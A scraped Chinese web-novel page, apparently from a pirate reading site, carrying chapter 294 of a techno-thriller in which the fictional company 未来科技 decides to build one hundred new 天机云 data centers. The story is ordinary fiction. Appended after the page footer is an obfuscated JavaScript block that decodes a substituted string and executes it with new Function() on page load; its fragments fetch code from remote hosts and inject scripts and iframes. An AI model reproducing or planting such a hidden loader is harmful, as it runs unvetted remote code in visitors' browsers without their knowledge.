首页
第294章 天机云新增百座数
返回
关灯 护眼:关 字号:小

第294章 天机云新增百座数据中心

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    凌晨两点四十,未来科技云基础设施总控中心的主屏忽然跳出一排连续橙色告警。
    不是故障,也不是攻击。
    是负载结构开始越过原先设定的安全缓冲线。
    值班工程师第一眼看到的时候,还以为是某个区域节点短时间波动。可当他把视图从单区域切到全球协同总图时,整个人都怔了一下——问题不是某一处在爆,而是太多不同来源的新增请求,正在同时往同一张网里挤。
    南洋区域的终端绑定和本地AI调用还在持续抬升;海外开发者侧因为开放协同入口释放,开始形成新的持续接入流;企业端的轻量边缘协同与多语种服务节点请求也比预估快了一截;更关键的是,天枢生态与本地AI丶本地存储丶跨端同步三条线开始互相放大,把原本分散的流量结构压成了一种新形态——不是某个单点业务暴涨,而是整张云网被越来越多「必须低延迟丶必须稳定丶必须就地处理」的真实场景同时拉紧。
    值班工程师没有犹豫,直接把告警送进一级值守群。
    五分钟后,天机云基础设施总负责人许承已经坐进总控室。
    屏幕上的全球节点图像一片深蓝,深蓝里密密亮着无数白点。过去这些白点代表的是一张稳得近乎没有情绪的基础设施网,可现在,在不同区域边缘,越来越多的白点开始向亮红色过渡。
    「不是峰值,是结构变了。」旁边的调度架构师压着声音说。
    许承没有接话,只是快速往下翻了几页。
    终端本地AI协同请求增幅异常。
    多区域天枢帐号同步与跨端调用长尾拉长。
    开发者训练与接口验证环境占用加速上升。
    南洋和西部海岸一带边缘缓存命中率下降。
    部分原本只承担冷备和错峰的区域节点,被迫开始承担低时延服务职责。
    再往下翻,是一行更让人心里发沉的数据:
    未来三十天内,现有边缘协同馀量预计跌破安全阈值。
    许承盯着那行字看了两秒,抬头问:「补算过天枢新一轮绑定的外溢了吗?」
    「补了。」调度架构师声音发乾,「按原模型补的,还是不够。现在的问题不是天枢本身,是天枢丶本地AI丶开发者协同和区域联合接入一起起了共振。」
    这句话一落,总控室里安静了片刻。
    未来科技这些年一路往上打,最擅长的是让别人看见它的晶片丶系统丶终端和制造能力,却很少有人真正意识到,支撑这一切的另一条底层骨架到底有多重要——云。
    不是传统意义上那种只靠中心大算力吃一切的云,而是一张必须能同时撑住本地AI丶跨端协同丶边缘存储丶开发者接口丶区域能力共建和未来工具链外部接入的「活云网」。
    过去,天机云更多像一张隐在幕后的神经系统。
    而现在,这条神经系统开始被整个体系同时拉进了前台。
    许承沉默片刻,直接下令:「拉总盘。」
    十分钟后,一份压缩过的一级报告被送进研究院顶层。
    收到报告的时候,陈醒还在补天的闭门区。
    桌上摊着的是另一套完全不同的问题:小芯在局部版图自动优化里刚刚压下去一类稳定误判,新的可解释候选路径开始逐步收敛;章宸和顾楠还在看一段规则锁与代价锁并行后的新校验结果;赵静则在一旁盯着接口日志,试图判断模型是「真的开始学会绕开死区」,还是只是被规则压着不再撞墙。
    房间里的气氛一向冷而专注。
    直到周明推门进来,把终端放到桌上。
    「天机云要扩。」他说。
    没人第一时间接话。
    因为未来科技内部所有核心线的人都知道,「要扩」这三个字在许承手里不是随便说的。天机云这些年扩过无数次,每一次都极谨慎。许承的习惯从来不是看见增长就堆节点,而是先算结构丶算场景丶算调度丶算边缘丶算成本丶算生存线。能被他直接送进一级报告,说明事情已经不是「增长不错」,而是「底层秩序在变」。
    陈醒接过终端,一页页往下翻。
    看完第一轮数据,他没有立刻表态,只问:「量级呢?」
    周明看向门口。
    许承和基础设施架构负责人已经进来了。
    「不是加几个区域点,也不是补几组边缘机架。」许承走到屏幕前,声音很平,可比平时更沉一些,「要新增一百座数据中心。」
    房间里出现了极短的一瞬安静。
    连章宸都抬起了头。
    不是因为这个数字大到不可思议,而是因为它太快。
    未来科技现在正同时推进补天丶飞星后续定型丶南洋生态吸附丶区域开放合作丶本地AI落地丶智能汽车跨端协同,谁都知道云会变得越来越重要。可「一百座」这个量级,已经不是常规基础设施扩容,而是一种明确到近乎宣示的判断——未来科技眼下需要的,不是补丁式增长,而是为下一阶段整个体系竞争,提前铺一张新的底座。
    秦峥第一个反应过来:「车端也被算进去了?」
    「算了,而且不是主因。」许承把结构图切到大屏,「主因是四条线同时挤进来了。第一,天枢生态和本地AI形成了新的边缘协同负载。第二,南洋区域绑定率抬高之后,本地存储丶同步丶弱网协同这些服务的请求模式彻底变了。第三,开放合作后,开发者训练环境丶接口验证平台和区域共建节点开始吃新的持续型资源。第四——」
    他说到这里,停了一下。
    「第四,未来科技如果真准备把区域能力共建做下去,那天机云就不能再只是服务未来科技自己的业务,必须开始具备承接外部协同网络的能力。」
    这句话很重。
    因为它一下把天机云从「集团基础设施」抬到了「规则级底座」的位置。
    赵静盯着图看了几秒,低声说:「也就是说,云不再只是支撑端,而是开始支撑合作本身。」
    「对。」许承说,「以前天机云更多是保证终端丶系统丶企业服务和内部研发协同能跑稳。现在不是了。现在它得开始回答另一个问题——如果未来科技真的要成为一部分区域能力建设的承接者,这张网能不能让别人接进来以后,也还能稳。」
    屋里沉默了几秒。
    李明哲此时也赶了过来,听见这句话后,眼神明显变了一下。
    他太明白其中的政治意味了。
    如果未来科技要从「卖产品」「做系统」「推生态」继续往前走,变成一个别人愿意一起建设某些能力的技术体,那你必须拿出一个现实答案:不是口头说可以合作,而是底层真的有地方能承接合作,真的有节点能承接数据边界,真的有基础设施能支撑多区域协同,真的有条件让不同文明丶不同制度丶不同市场的人,进到一张可控丶可验证丶又不完全依附旧秩序的技术网上来。
    这才是天机云为什麽突然变得如此关键。
    它不再只是「云业务」。
    它正在变成未来科技能不能继续把技术领先转成生态领先丶再把生态领先推向规则谈判位置的真正基础之一。
    陈醒把终端放下,问得很直接:「为什麽是一百?」
    许承显然早已准备过这个问题。
    他切出一张新图,没有任何修饰,只有三种颜色和一条极简单的逻辑链:
    现有节点优化——不够;
    区域边缘扩容——不够;
    中心—边缘结构重构——仍不够。
    然后,是第四条:
    多区域新型分布式底座——至少一百座。
    「不是为了追求规模数字。」许承说,「是因为现有网络是按『未来科技自己长』来铺的。现在情况变了。未来科技正在从单一技术体系,往开放协同网络过渡。原来的节点布局不够细,不够近,不够多样,也不够适合被分层隔离承接。」
    他又切了一页。
    「这一百座,不是传统大中心机房堆一百次。」他说,「是三类结构叠起来:骨干中心丶区域协同中心丶边缘数据节点。骨干中心保证底层算力与调度骨架稳定;区域协同中心承接天枢丶本地AI丶企业服务和开发者平台的中层负载;边缘节点专门扛弱网丶低延迟丶本地化和多语种场景。」
    章宸听到这里,终于点了点头:「像晶片架构里的分层缓存。」
    许承也点头:「差不多。不是单纯加机器,是改网络的组织方式。」
    林薇靠在桌边,一直没插话,这时才问:「钱呢?」
    这个问题很现实,也很致命。
    未来科技不是没有钱,但现在每条线都在吃资源。补天是战时工程,飞星后续量产组织重构还没彻底收口,汽车丶医疗丶云丶系统丶晶片都在抢最好的基础设施与人才。如果天机云真开一百座,不只是钱的问题,还会牵动供应链丶能源丶地域合规丶土地丶运维丶人力丶网络安全和国际解释。
    苏黛已经翻开了另一份材料。
    「钱不是唯一问题。」她说,「真正的问题是速度和分布。国内好说,我们能压资源;南洋可以借现有合作方与本地节点加速铺;中东和部分欧陆区域也有窗口。最麻烦的是那些处在摇摆区和敏感区的市场——你一铺,对方马上会问你是不是在做新的数字底座外溢;你不铺,又承接不了后面的合作和生态请求。」
    李明哲缓缓补了一句:「而且火龙联盟一定会盯。」
    这一下,会议室里所有人都明白了。
    一百座数据中心,不只是商业扩容。
    它会被解读。
    被市场解读成未来科技要不要继续大规模承接全球协同;
    被欧陆解读成未来科技的「技术互认」是不是开始长出现实载体;
    被南亚那边解读成未来科技是不是准备把本土品牌和本土能力争夺战,进一步抬到数字基础设施层;
    更会被火龙联盟解读成——未来科技不只是在做产品和工具,它正在铺自己的技术生存网络。
    这就意味着,天机云这一百座节点,一旦开,就不可能只是工程问题。
    周明盯着屏幕看了好一会儿,才开口:「能不能拆开做,不一次说一百?」
    「能。」许承答得很快,「但那样节奏就会被拖。现在负载变化已经说明,后面几条线不是会不会来,是一定会同时来。等需求砸到脸上再补,只会像补天最开始那样,先保命再长骨。云这条线如果也那样,整个体系会被自己拖慢。」
    这话一出,屋里不少人都沉默了。
    因为太熟悉了。
    未来科技一路走到今天,太多次是别人先把路堵死,它再被迫在极限压力下长出骨头。补天如此,飞星如此,材料丶制造丶系统丶晶片也都如此。可现在,天机云这条线第一次把选择提前摆在了面前——不是等刀落下来再抗,而是自己先承认:这场仗已经变了,底座必须先走在前面。
    陈醒低头看着那张三层节点图,看了很久。
     没人催他。
    因为大家都知道,这不是一句「批了」或「再看看」就能处理的事。这背后牵着的是未来科技下一阶段到底把自己定义成什麽——是一个产品和系统足够强的领先企业,还是一个已经准备承接更大范围协同丶并且愿意为那种协同先把底座铺出来的技术体系。
    几分钟后,他问了一个谁都没想到的问题:
    「这一百座,如果铺出来,最先证明的会是什麽?」
    许承一愣,随即明白过来。
    「不是证明天机云更大。」他说,「是证明未来科技有能力把『开放合作』从语言变成现实承接。谁想一起长能力,不只是来听一套原则,而是真的有地方能接丶有节点能落丶有算力能跑丶有边界能隔。」
    陈醒抬眼看向李明哲。
    「外面会怎麽读?」
    李明哲没有绕弯。
    「火龙联盟会说我们在建新的数字势力范围。部分欧陆会警惕,但也会更认真,因为他们会看到你不是只会说『不要武器化』,你是在建一种不完全依赖单边裁决的现实底座。南洋会更往我们这边靠,因为他们已经感受到好处。南亚和其他大市场会更复杂——一部分会更想挡,一部分则会开始偷偷算,能不能从这张网里给自己找位置。」
    这判断一出,很多事其实已经明了。
    一百座天机云节点,表面看是扩容,实则是一次极强的现实表态:未来科技不准备只做一个把自己体系打磨得无比锋利的技术体,它要开始为「别人是否能一起接入未来」这件事,先铺出路。
    而只要这条路一出现,很多人就必须重新站位。
    林薇终于开口:「那就不要按云来做。」
    众人看向她。
    她走到屏幕前,在「一百座数据中心」那行字旁边写下了几个字:
    新型区域协同底座
    「如果只是天机云扩容,外界会按旧逻辑理解。」她说,「可它现在干的事已经不只是云扩容。它在承接终端丶本地AI丶开发者丶企业协同丶区域开放合作丶未来车端联动,甚至还有后面可能跟进的更多东西。那就别把自己说小。」
    许承眼神一动。
    这不是改名的问题,而是改叙事的问题。
    天机云一百座节点,如果只按「未来科技新增数据中心」去讲,最多是个基础设施新闻;可如果它被讲成「面向多区域协同丶本地AI丶开放合作与可验证边界的区域协同底座」,那它就会立刻进入另一个维度——它不再只是未来科技自己的网,而是一种新的数字能力组织方式的骨架样本。
    周明立刻皱起眉:「这样会更刺激火龙联盟。」
    「本来就会刺激。」陈醒终于接住了这个判断,语气平静得没有一丝多馀波动,「问题不是他们刺不刺激,问题是未来科技准备不准备继续长。」
    这句话落下时,会议室里的犹疑几乎一下被压平了。
    因为所有人都知道,事到如今,未来科技真正的风险从来不是「动作太大」,而是「明明知道这条线要变,却还按昨天的尺度做准备」。那样才会在下一轮围堵丶下一次市场跃迁丶下一次全球协同需求同时到来时,被自己的底座绊倒。
    「批。」陈醒说。
    只一个字。
    但这个字落下去后,整个会议室的节奏立刻变了。
    许承没有半分停顿,直接把预案切成执行版。
    国内骨干中心加速。
    南洋与中东区域协同中心优先落位。
    欧陆敏感区域以联合节点与中立托管方式切入。
    边缘节点按多语种丶多弱网丶多终端协同高频区优先铺设。
    开发者与开放合作承接平台直接并进,不再挂后。
    数据边界隔离与多层安全域同步建设,不允许后补。
    苏黛那边也迅速接上。
    土地丶能源丶带宽丶合作方丶冷却方案丶备份链路丶运维团队丶法律结构丶合规壳,全部拉成并行战区。她几乎一边听许承念,一边就在终端里开始派单。谁负责国内丶谁负责南洋丶谁压欧陆窗口丶谁把中东和非洲的潜在合作方先圈出来,指令落得又快又冷,没有一点多馀废话。
    赵静则盯着另一条线:「本地AI服务要同步改。节点一铺,不能还是旧调度逻辑,不然流量会自己把自己打死。多语种丶端侧模型缓存丶离线协同回传丶场景热区预测,全部得改。」
    「你和许承并线。」陈醒说。
    「明白。」赵静答得极快。
    秦峥也插了进来:「车端别漏。天行者现在还没完全起量,但一旦天枢和车机协同被更多市场看到,后面会瞬间上去。云这边如果不提前接,车和终端的统一算力联动会被卡脖子。」
    「加进去。」许承记下。
    会议一直开到中午。
    散会的时候,没有人有「终于定了」的松气感,反而更像是另一场更大的战役被正式点亮了。
    走廊外,周明低声问李明哲:「你觉得外面多久会闻到味?」
    李明哲想了想,摇头:「闻会很快,但未必立刻看懂。一百座数据中心这种事,表面上谁都能解释成业务增长丶区域扩容丶云服务升级。真正懂的人,要过一段才会意识到——未来科技在铺的,不只是云节点,是一张未来合作与技术生存共同体的底座网。」
    「火龙联盟会先意识到。」周明说。
    「对。」李明哲点头,「而且会很不舒服。」
    这不难理解。
    你可以封工具,可以卡授权,可以打认知战,也可以扶持本土品牌。但如果对方不只是能活,还开始把「别人能不能一起活」这件事做成现实条件,那性质就彻底变了。
    那已经不是单一企业竞争。
    而是秩序竞争。
    傍晚六点,第一批保密级别最高的调度令发了出去。
    国内几大区域同时起动。
    南洋合作团队收到加速通知。
    欧陆几个原本还在观望的技术政策接口,也通过极隐蔽渠道接到风声:未来科技将推进一批「可验证丶可隔离丶可互认」的区域级技术节点试点。
    李明哲看到这条回流时,眼神几乎是立刻沉了下去。
    「欧陆会更想谈。」他说。
    「也会更怕。」周明补了一句。
    「怕正常。」李明哲说,「越想谈,越说明他们也在想一件事——如果未来科技真把底座铺出来,那以后很多关键技术边界,就不再只能由北洲那边单向解释了。」
    晚上八点,研究院顶层的小会又开了一次。
    这次人不多,只有陈醒丶林薇丶周明丶李明哲丶许承和苏黛几个人。
    屏幕上,是天机云一百座节点的第一阶段落点图。
    陈醒看得很慢,最后问:「第一阶段做完,最先能看到什麽变化?」
    许承回答得很清楚:「南洋丶开放合作承接丶开发者协同丶本地AI边缘调度,会立刻稳一大截。第二阶段做完,企业侧丶车端丶更多区域系统迁移和协同能力才会真正起来。第三阶段如果铺稳,未来科技才算真正拥有了一个能承接『多区域能力共同体』的底层网。」
    「那就按三阶段压。」陈醒说。
    随后,他目光停在落点图最边缘的一些区域,那里不是未来科技现阶段业务最强的地方,却被特别圈了出来。
    「这些地方为什麽优先?」他问。
    许承还没答,李明哲已经看懂了。
    「因为那是观察点。」他说,「不是现在最赚钱丶最热闹丶最稳的市场,而是未来最能看出风向变化的地方。谁愿意接,谁犹豫,谁开始主动问边界,谁又突然抬高安全审查,都会先在这些地方显影。」
    陈醒点了点头。
    是的。
    天机云这一百座,不只是基础设施,不只是业务网络,也会变成未来科技读取世界的一张传感网。哪个区域想真合作,哪个区域只是想拖时间,哪个地方在火龙联盟压力下开始转向,哪个地方又因为现实需要偷偷给未来科技留出接口,都会通过这张网的建设节奏丶请求模式和接触方式,一点点显影出来。
    所以它既是云,也是眼睛。
    会议结束前,周明忽然收到一条新的外部监听回流。
    内容不长,却让他第一时间抬起了头。
    「八个国家的技术与产业考察渠道,在同步打听一件事。」他说。
    「什麽?」林薇问。
    周明把终端投到屏幕上。
    几条来自不同区域丶不同外交和产业接口的试探性消息,被放在一起后,指向同一个问题:
    他们想知道,未来科技下一阶段的基础工业能力组织,到底长成什麽样了。
    更直白一点——
    他们想看芯谷。
    会议室里一时安静。
    芯谷不是某个简单园区,而是未来科技过去几年里,把晶片丶制造丶材料丶设备丶验证丶工艺和组织方式一层层压成的真正工业中枢。外界一直知道它存在,却很少有人真正有机会靠近。现在,在天机云一百座节点还没正式显形之前,居然已经有多个国家开始同步打听参观可能,这意味着什麽,不言自明。
    李明哲盯着那几条试探消息,缓缓吐出一口气。
    「世界开始不只是想买我们的东西了。」他说。
    没人接话。
    因为这句话已经足够重。
    买产品,是商业关系。
    看工厂,是产业兴趣。
    可当多个国家开始想看芯谷,本质上就是另一回事了——他们想看未来科技到底是怎麽把技术丶制造丶组织丶工具和底层能力压成一整套活体系的。
    那已经不是消费,不是采购,也不是普通合作意向。
    那是在看样板。
    陈醒关掉屏幕,站起身,声音依旧很稳。
    「先把天机云压下去。」他说,「芯谷的事,等他们再多说一点。」
    周明点头,可眼神已经和刚才完全不一样了。
    因为他知道,这一百座数据中心刚刚批下,另一场更大的外部变化,恐怕也已经在路上了。
    走廊尽头的灯光很冷,补天区那边依旧亮着,小芯还在那片高复杂约束空间里慢慢学会不再乱闯;而云基础设施战线,则已经开始为未来科技下一阶段真正的全球协同能力铺设骨架。
    夜色重新压下来时,第一批一级工程调度已经发往各区域。
    屏幕右下角,一行极不起眼的状态字持续闪动:
    天机云新型区域协同底座——第一阶段启动。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();